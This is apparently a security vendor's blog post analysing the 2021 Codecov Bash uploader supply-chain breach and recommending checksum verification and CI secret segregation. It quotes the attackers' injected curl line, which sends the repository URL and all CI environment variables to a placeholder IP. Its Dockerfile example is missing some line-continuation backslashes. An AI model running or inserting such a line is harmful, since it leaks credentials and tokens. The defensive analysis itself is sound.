Introduction
The Codecov breach is an example of a classic software supply chain attack, in which attackers gain organization access by compromising 3rd party services the victim uses instead of accessing the victim’s actual production environment.While there are numerous articles related to the Codecov attack that detail what happened (including the official Codecov incident report), this post will use the attack to discuss the security responsibilities of both software vendors and developers that leverage these tools and libraries. Ultimately, as developers we have little insight or influence over our vendors’ day-to-day security practices. Hence, it is important that we both leverage the tools and processes that we can influence to better protect our systems and begin to consider security criteria as part of vendor selection.
Let’s start by understanding what happened in this specific attack.
What is Codecov?
Codecov is a code coverage tool, which gives developers insight as to how much of their code is covered by tests. It interacts with developers in their pull requests and can be configured to alert when developers are trying to add code without proper test coverage.Codecov is widely deployed with over 29,000 enterprise customers as well as open source projects and startups.
There are several reasons for adding test coverage to your repository. The main and most important reason is to verify that developers do not add untested code to the main branch.
To achieve this protection, code coverage tools are usually executed during the CI/CD pipeline.
This means that once a developer opens a pull request with their changes, it will trigger a pipeline in some CI provider in which the code will be built, tested and if it passes all checks and validations it can also be deployed to the production environment.
How does Codecov work?
In order to provide test coverage percentages, Codecov requires 2 things:
- A code coverage report (usually an XML file) that a testing tool outputs after a test run.
- Access to the repository file structure in order to correlate between the code coverage report and the repository files.
Codecov’s documentation suggests downloading and executing their “Bash uploader” during the CI pipeline, right after the test coverage files have been created by the testing tool.
The “download and execute” is a quite known mechanism in the scripting world and is also known as “Curl to bash”, which is called that way due to the common syntax of the operation:
curl -L <some_executable_script> | bash
Or a slightly different command that does the same (as suggested by Codeov documentation):
bash <(curl -s https://codecov.io/bash)
To summarize, the Codecov documentation states that in order to use their tool in your CI execution, you should generate the code coverage XML files and then download and immediately execute their “Bash uploader” binary, which in turn will “detect the environment, gather reports and upload them to Codecov”.
What happened in the hack?
The most updated attack details can be found in Codecov’s security update, so I won’t delve into those. The bottom line was that attackers gained access to the “Bash uploader” and modified it by adding a single line to the file:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://IPADDRESS/upload/v2 || true
This extracts the repository URL (git remote -v) and all the environment variables that were loaded by the CI provider in order to execute the CI pipeline, and sends them to an attacker controlled website.
What can the environment variables contain?
According to Codecov’s security update: “Credentials, tokens, or keys that were passed through the CI runner that would be accessible when the Bash Uploader script was executed.”
What can Developers learn from the Codecov incident
So now that we understand what happened, let’s see what we can learn from the incident by starting with some questions:
- Would you sign a contract that you have never read?
- Would you purchase a used car without taking it out for a drive?
- Would you let a stranger inside your house without asking him who he was or what he wanted?
If your answer is “of course not”, then by the same logic you should never execute a downloaded script without proper validation.
The Codecov incident is an excellent example of what can go wrong with “curl to bash” and why developers should never trust anything downloaded from the internet without proper validation.
No matter whether the file is from a trusted source or not. Even trusted sources, like Codecov, get breached.
It is important to note that many tools use the “curl to bash” method as it allows products to run the latest version of a script without implementing a sophisticated update mechanism.
In other words, it’s fast and easy for vendors to push updates to their customers so the vendor can focus on building value-added features. It makes sense.
Customers don’t buy based on update mechanisms, they buy based on features that drive benefits. However, this begs the question of what is the vendor’s responsibility when they take a shortcut that potentially compromises security?
“Curl to bash” is especially common with CI/CD tools, the heart of many software supply chains, that run as part of the building and testing stages. Vendors that make this trade off must take responsibility to:
- Educate their customers on the risks involved, and provide a strong verification mechanism to detect tampering.
- Eat their own dog food. The vendor must also use the verification mechanism to detect tampering before updating their customers.
For example, Codecov provided a code repository with correct hash values for customers to verify the integrity of the latest downloaded “curl to bash” update. Unfortunately, Codecov did not eat their own dog food and most of their customers trusted the update w/o verifying it against the hash value.
As we can see, the hashes are included in the codecov bash release:
It is first of all the responsibility of the vendor to verify these hashes match the actual script being distributed.
So what do I suggest? Stop downloading 3rd party tools and start writing it all ourselves?
Well, I might be a bit paranoid, but I’m not a lunatic. No, what we need to do is to verify the stuff we download is indeed what it claims to be.
First of all, ask yourself if you really need to download the latest version of the script on every CI execution. Is it possible that the tool you are using has a very basic functionality that could be pinned down to a specific version?
In that case, you can download the script to your source code, review the library’s code and then only update it when necessary for security or critical new functionality with additional code reviews.
When you need the latest version of the script, there really is no getting around verifying it. Ultimately, developers shouldn’t have to choose between wasting time on vendor code reviews or missing out on the latest functionality.
Enterprise-grade products must provide a way to validate its binary/script using a checksum. As long as developers have the expected md5/sha1/sha256/sha512 of the file being downloaded, verifying the update with the hash value is relatively easy.
Here’s an example of how you can download and verify a script as part of a Dockerfile using a md5 checksum:
ARG EXPECTED_SCRIPT_MD5=<md5_of_file>
ARG DOWNLOADED_SCRIPT=<file_name>
RUN wget "<url>/${DOWNLOADED_SCRIPT}" \
&& echo $EXPECTED_SCRIPT_MD5 $DOWNLOADED_SCRIPT > expected.md5 \
&& md5sum -c expected.md5
&& chmod +x $DOWNLOADED_SCRIPT
&& bash $DOWNLOADED_SCRIPT
If, for any reason whatsoever, the EXPECTED_SCRIPT_MD5 doesn’t match the actual md5 of the downloaded file, the md5sum command will fail and the script will not be executed.
As a matter of fact, the Codecov documentation has a “Validating the bash script” section that describes how to perform a similar operation in regards to the “Bash uploader”. Since the checksums are generated from Codecov’s Github repository (which wasn’t compromised), script validation would have failed and the compromised “Bash uploader” would not be executed.
As a sign of how far we still have to go to get application security prioritized appropriately, even after this compromise, validation is still at the bottom of Codecov’s bash uploader documentation page. What exactly would it take to get this simply yet powerful security step at the top of the page?
It is up to us
Let’s be honest.
We can never be sure that we are fully protected. As a security oriented organization, we should always assume that our data can be compromised. In high security environments we should go further to assume our data is compromised.
What does that mean?
1) As much as our vendors should be responsible for explaining the security risks of the shortcuts they take, it is clear that the majority will not. We as developers need to take responsibility. “Curl to bash” is leveraged by many vendors. We can all agree that vendors should leverage their own checksums, but we also know that in reality it doesn’t always happen. Thus, as developers, we must only trust when we can verify. If we choose a vendor that uses “curl to bash” we must leverage the vendor’s verification process or commit to code reviews every time we update the dependency.
2) We should demand more from our vendors. Yes, we can commit to reviewing code in new updates for vendors that do not provide a verification process. However, if a vendor cares so little about security by not providing a checksum, what other security shortcuts are they taking? should we really let ourselves “depend” on them (bad pun intended)?
3) We should do everything we can to ensure that there are no secrets (credentials, tokens, etc.) in our source code. This includes scanning code production repositories, version history and detecting/preventing users from commiting secrets to new code in feature branches before sensitive data is merged into the main branch.
4) We should monitor the commits and pull requests that deliver code to our most important repositories, and verify that they are performed by privileged members of the organization. This means establishing least privilege policies and regularly auditing them for excess privileges.
5) We should verify that the code passes all the required security checks such as peer reviews, static code analysis that should detect suspicious code patterns that may put our intellectual property at risk. This includes software compositional analysis to identify vulnerable dependencies.
6) We should encapsulate and segregate the different stages of our CI pipeline to only use the parameters each stage actually needs.
To explain this suggestion, note that if the compromised CI pipeline was in charge of ALL the different pipeline stages (test, build, tag, deploy) – then each one of the stages had access to all of the loaded environment variables.
Usually, deployment is the only stage that requires “secrets” for proper service deployment. By not keeping the secrets in that stage only, the “innocent” step of testing your code and checking its coverage has now leaked all of your most precious secrets to the Codecov attackers.
How Cycode Can Help
All of the above (and more) is covered in the different modules of the Cycode platform. In the Codecov use-case, Cycode would have alerted on a “non-verified script usage” on the “Curl to bash” execution syntax of the Codecov “Bash uploader” being used in your CI pipeline. However, this is but one of many points of weakness in software supply chains.
While there are tools to find vulnerabilities in source code and protect applications in production, securing DevOps pipelines themselves is AppSec’s biggest unmet need.
While some DevOps tools and infrastructure have basic levels of native access and authorization controls, the rise of supply chain attacks, the rise of source code leaks and the rise of developer-focused attacks demonstrate the inadequacy of native protections in the tools themselves.
Securing the modern SDLC requires insight across phases of the SDLC. Codecov provides another good example here.
Hopefully, I have articulated the importance of validating new files downloaded via “curl to bash.” However, how do we know that the repository with the hash value wasn’t also compromised? In the SolarWinds Orion breach, the updates had valid certificates.
We need tools that can compare event data and user activity across the whole pipeline to provide contextual insight to identify code tampering (as well as prioritize vulnerabilities, reduce false positives and more.)
Reach out to us and we can share how we can best protect your Devops pipeline.
Originally published: June 10, 2021
